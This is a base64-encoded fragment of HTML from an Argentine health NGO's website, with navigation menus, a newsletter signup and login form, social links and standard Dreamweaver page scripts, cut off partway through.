dD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTIxX25ldyIgY2xhc3M9ImZvbmRvYm90b24iPkluZm9ybWFjaSZvYWN1dGU7biBkZSBpbnRlciZlYWN1dGU7czwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyI+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiBoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xMF80IiBjbGFzcz0iZm9uZG9ib3RvbiI+Q29uZ3Jlc29zCiAgICAgICAgICAgICAgICAgIHkgSm9ybmFkYXM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTExIiBjbGFzcz0iZm9uZG9ib3RvbiI+UmVnaXN0cmFjaSZvYWN1dGU7bjwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgCiAgICAgICAgICA8L3RhYmxlPgo8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNSIgdGFyZ2V0PSJfYmxhbmsiPjxicj4KICAgICAgICAgICAgICAgICAgPGltZyBzcmM9ImltZy9iYW5uZXJfZG9uYWNpb25lcy5qcGciIHdpZHRoPSIxNjIiIGhlaWdodD0iMTIwIiBib3JkZXI9IjAiPjxicj4KICAgICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaW1nL2JvdG9uRm9yby5naWYiIHdpZHRoPSIxNzIiIGhlaWdodD0iMTE3IiBib3JkZXI9IjAiPjwvYT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTY3IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjkiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzAzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iOSIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTQ5IiBiYWNrZ3JvdW5kPSJpbWcvY2hpY29zX3BlcmRpZG9zXzA1LmdpZiI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDUuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMCI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDcuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMi5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEyLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9InNyYy9pbWdfdXAvMjMwODIwMTIuMS5qcGciIHdpZHRoPSIxNDkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMy5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNi5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iNSIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTcuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNy5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0ZFRTdDRiIgY2xhc3M9InRpdHVsb2hvbWU1Ij48c3Ryb25nPk5pJm50aWxkZTtvcyBwZXJkaWRvczxicj4KICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0yOSIgY2xhc3M9ImJvdG9uIj5bVmVyIG0mYWFjdXRlO3NdPC9hPjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTkuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xOS5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18yMC5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iMjUiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4NCgkJCQkNCgkJCQk8Zm9ybSBhY3Rpb249ImluZGV4LnBocD9pZD0xMSIgIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9penExLmpwZyIgd2lkdGg9IjEyIiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9hcnJpYmEuanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9kZXIxLmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiIgdmFsaWduPSJ0b3AiIGNsYXNzPSJyZWdGb25kbzEiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9penEuanBnIiB3aWR0aD0iMTIiIGhlaWdodD0iMTIiIC8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiI+PHRhYmxlIHdpZHRoPSI5NCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4NCiAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV90aXQuanBnIiB3aWR0aD0iNjYiIGhlaWdodD0iMjMiIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSI1MCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJyZWdpc3RyYXJzZSI+SW5ncmVzJmFhY3V0ZTsgDQogICAgICAgICAgICAgIHR1cyBkYXRvcyB5IHJlY2liJmlhY3V0ZTsgbGEgbWVqb3IgaW5mb3JtYWNpJm9hY3V0ZTtuIGEgdHJhdiZlYWN1dGU7cyANCiAgICAgICAgICAgICAgZGUgbnVlc3RybzxzdHJvbmc+IE5ld3NsZXR0ZXI8L3N0cm9uZz4uIDxzdHJvbmc+PHNwYW4gY2xhc3M9ImdyYXRpcyI+R3JhdGlzITwvc3Bhbj48L3N0cm9uZz48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI1IiB2YWxpZ249Im1pZGRsZSIgY2xhc3M9InRyYWJTRUNDSU9OIj5Ob21icmU8L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBjbGFzcz0icmVnQ0VMREEiPjxpbnB1dCBuYW1lPSJub21icmUiIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0ibm9tYnJlIiAvPjwvdGQ+DQogICAgICAgICAgPC90cj4NCiAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0idHJhYlNFQ0NJT04iPkFwZWxsaWRvPC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InJlZ0NFTERBIj48aW5wdXQgbmFtZT0iYXBlbGxpZG8iIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0iYXBlbGxpZG8iIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSIyNSIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJ0cmFiU0VDQ0lPTiI+RS1tYWlsPC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InJlZ0NFTERBIj48aW5wdXQgbmFtZT0iZW1haWwiIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0iZW1haWwiIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InRyYWJTRUNDSU9OIj4mbmJzcDs8L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBjbGFzcz0idHJhYlNFQ0NJT04iPjxpbnB1dCB0eXBlPSJpbWFnZSIgc3JjPSJpbWcvcmVnaXN0cmF0ZV9ib3Rvbi5qcGciIHdpZHRoPSIxMTciIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgIDwvdGFibGU+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE0IiB2YWxpZ249InRvcCIgY2xhc3M9InJlZ0ZvbmRvMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2Rlci5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSIxNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTIiIGhlaWdodD0iMjQiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9lc3FfaXpxMi5qcGciIHdpZHRoPSIxMiIgaGVpZ2h0PSIyNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI0Ij48aW1nIHNyYz0iaW1nL3JlZ2lzdHJhdGVfYWJham8uanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjI0IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9lc3FfZGVyMi5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSIyNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KCQkJCQkNCgkJCQkJPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgPC90YWJsZT4NCjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPiAKICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTcwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMyIgY2xhc3M9ImJvcmRlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCA+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUyIj4KCQkJCQkJCQkJCQkJCQkJCTwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9jbGF1ZGlhMl8wMy5qcGciIHdpZHRoPSIxNzQiIGhlaWdodD0iMjUwIiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICA8dGQgcm93c3Bhbj0iNyIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nLzV4NS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjciPjwvdGQ+CiAgICAgICAgICA8dGQgY29sc3Bhbj0iMiIgcm93c3Bhbj0iNCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSJsb2dpbi5waHAiIG1ldGhvZD0icG9zdCIgbmFtZT0iZm9ybTIiPgoKICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgY29sc3Bhbj0iMiIgYWxpZ249ImxlZnQiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0iY29udGVuaWRvIiA+IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3Ryb25nPlVzdWFyaW8gbm8gcmVnaXN0cmFkbzwvc3Ryb25nPiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb250PiA8L3N0cm9uZz4gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDkiIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJjb250ZW5pZG8iPlVzdWFyaW8mbmJzcDsmbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzOSIgdmFsaWduPSJtaWRkbGUiPjxpbnB1dCBuYW1lPSJ1c3VhcmlvIiB0eXBlPSJ0ZXh0IiBjbGFzcz0icmVnIiBpZD0idXN1YXJpbyIgc2l6ZT0iNyI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjciIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJjb250ZW5pZG8iPkNvbnRyYXNlJm50aWxkZTthJm5ic3A7Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzkiIHZhbGlnbj0ibWlkZGxlIj48aW5wdXQgbmFtZT0icGFzcyIgdHlwZT0icGFzc3dvcmQiIGNsYXNzPSJyZWciIGlkPSJwYXNzIiBzaXplPSI3Ij48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MiIgYWxpZ249InJpZ2h0IiB2YWxpZ249Im1pZGRsZSIgY2xhc3M9ImJvdG9uIj48aW5wdXQgdHlwZT0iaW1hZ2UiIHNyYz0iaW1nL3JlZy5qcGciIHdpZHRoPSI1OCIgaGVpZ2h0PSIzMCI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjciIGhlaWdodD0iMTkiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgPjxhIGhyZWY9Imh0dHA6Ly93d3cuZmFjZWJvb2suY29tL2hvbWUucGhwPyMhL3BhZ2VzL01lcmxvLUFyZ2VudGluYS9TQUxVRC1BQ1RJVkEvMTAwNTgzNTQzMzE3MzIyP3JlZj10cyZhamF4cGlwZT0xJl9fYT03IiB0YXJnZXQ9Il9ibGFuayI+PGltZyBzcmM9ImltZy9mYWNlYm9vay5qcGciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgYm9yZGVyPSIwIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzExIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48ZGl2IGFsaWduPSJsZWZ0Ij48YSBocmVmPSJodHRwOi8vdHdpdHRlci5jb20vU2FsdWRBY3RpdmFPTkciIHRhcmdldD0iX2JsYW5rIj48aW1nIHNyYz0iaW1nL3R3aXRlci5qcGciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgYm9yZGVyPSIwIj48L2E+PC9kaXY+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSI1IiBhbGlnbj0icmlnaHQiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0iY29udGVuaWRvIj48bGFiZWw+PGZvbnQgc2l6ZT0iLTYiPlNpCiAgICAgICAgICAgICAgICAgICAgICAgdG9kYXYmaWFjdXRlO2Egbm8gZXMgdXN1YXJpbyA8L2ZvbnQ+IDxhIGhyZWY9ImluZGV4LnBocD9pZD0xMSIgY2xhc3M9ImJvdG9uIj48Zm9udCBzaXplPSItNiI+cmVnJmlhY3V0ZTtzdHJlc2UKICAgICAgICAgICAgICAgICAgICAgICAgYXF1JmlhY3V0ZTsgPGZvbnQgY29sb3I9IiM2NjY2NjYiPiYjODIyNjs8L2ZvbnQ+PC9mb250PjwvYT4gPGEgaHJlZj0iaW5kZXgucGhwP2lkPTEyIiBjbGFzcz0iYm90b24xIj48Zm9udCBzaXplPSItNiI+b2x2aWRlIG1pIGNvbnRyYXNlJm50aWxkZTthPC9mb250PjwvYT48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE3Ij4mbmJzcDsgPC90ZD4KICAgICAgICAgICAgICA8L3RyPgoJCQkgIDwvZm9ybT4KCiAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICA8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWlzby04ODU5LTEiIC8+Cjx0aXRsZT5Eb2N1bWVudG8gc2luIHQmaWFjdXRlO3R1bG88L3RpdGxlPgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KPHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCIgdHlwZT0idGV4dC9KYXZhU2NyaXB0Ij4KPCEtLQpmdW5jdGlvbiBNTV9yZWxvYWRQYWdlKGluaXQpIHsgIC8vcmVsb2FkcyB0aGUgd2luZG93IGlmIE5hdjQgcmVzaXplZAogIGlmIChpbml0PT10cnVlKSB3aXRoIChuYXZpZ2F0b3IpIHtpZiAoKGFwcE5hbWU9PSJOZXRzY2FwZSIpJiYocGFyc2VJbnQoYXBwVmVyc2lvbik9PTQpKSB7CiAgICBkb2N1bWVudC5NTV9wZ1c9aW5uZXJXaWR0aDsgZG9jdW1lbnQuTU1fcGdIPWlubmVySGVpZ2h0OyBvbnJlc2l6ZT1NTV9yZWxvYWRQYWdlOyB9fQogIGVsc2UgaWYgKGlubmVyV2lkdGghPWRvY3VtZW50Lk1NX3BnVyB8fCBpbm5lckhlaWdodCE9ZG9jdW1lbnQuTU1fcGdIKSBsb2NhdGlvbi5yZWxvYWQoKTsKfQpNTV9yZWxvYWRQYWdlKHRydWUpOwoKZnVuY3Rpb24gTU1fcHJlbG9hZEltYWdlcygpIHsgLy92My4wCiAgdmFyIGQ9ZG9jdW1lbnQ7IGlmKGQuaW1hZ2VzKXsgaWYoIWQuTU1fcCkgZC5NTV9wPW5ldyBBcnJheSgpOwogICAgdmFyIGksaj1kLk1NX3AubGVuZ3RoLGE9TU1fcHJlbG9hZEltYWdlcy5hcmd1bWVudHM7IGZvcihpPTA7IGk8YS5sZW5ndGg7IGkrKykKICAgIGlmIChhW2ldLmluZGV4T2YoIiMiKSE9MCl7IGQuTU1fcFtqXT1uZXcgSW1hZ2U7IGQuTU1fcFtqKytdLnNyYz1hW2ldO319Cn0KLy8tLT4KPC9zY3JpcHQ+CiAgICAgICAgICAgICA8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoJCQkgCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CjwhLS0KI0xheWVyMSB7Cglwb3NpdGlvbjphYnNvbHV0ZTsKCXdpZHRoOjY1MXB4OwoJaGVpZ2h0OjIxOHB4OwoJei1pbmRleDoxOwp9CiNMYXllcjIgewoJcG9zaXRpb246YWJzb2x1dGU7Cgl3aWR0aDoyMDBweDsKCWhlaWdodDoxMTVweDsKCXotaW5kZXg6MTsKCXZpc2liaWxpdHk6IHZpc2libGU7Cn0KLkVzdGlsbzEgewoJZm9udC1zaXplOiAxOHB4OwoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KLkVzdGlsbzIgewoJZm9udC1zaXplOiAxNHB4OwoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KLkVzdGlsbzMge2NvbG9yOiAjNTA2OTkwOyBsaW5lLWhlaWdodDogMTJweDsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyBmb250LWZhbWlseTogVGFob21hO30KLS0+Cjwvc3R5bGU+CjwvaGVhZD4KCjxib2R5IGxlZnRtYXJnaW49IjIiIG1hcmdpbndpZHRoPSIyIj4KPHRhYmxlIHdpZHRoPSI2MDgiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICA8dHI+CiAgICA8dGQgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCB3aWR0aD0iMiUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzA3LmpwZyIgd2lkdGg9IjI0IiBoZWlnaHQ9IjE0IiAvPjwvdGQ+CiAgICAgICAgPHRkIHdpZHRoPSI5MCUiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18wNy5qcGciPiZuYnNwOzwvdGQ+CiAgICAgICAgPHRkIHdpZHRoPSI4JSIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wOS5qcGciIHdpZHRoPSI0NSIgaGVpZ2h0PSIxNyIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogIDwvdHI+CiAgPHRyPgogICAgPHRkIGNvbHNwYW49IjQiPjxiciAvPgogICAgICA8dGFibGUgd2lkdGg9Ijk4JSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICA8dHI+CiAgICAgICAgPHRkIHdpZHRoPSIyJSI+PGltZyBzcmM9ImltZy81eDUuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iMTUiIC8+PC90ZD4KICAgICAgICA8dGQgd2lkdGg9IjkzJSI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CjwhLS0gSU5JQ0lPIG5vdGEgZGVzdGFjYWRhIC0tPgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTU2IiByb3dzcGFuPSIyIiB2YWxpZ249InRvcCI+CgkJCQkKCQkJCTx0YWJsZSB3aWR0aD0iMzIlIiBib3JkZXI9IjEiIGNlbGxzcGFjaW5nPSIzIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgdmF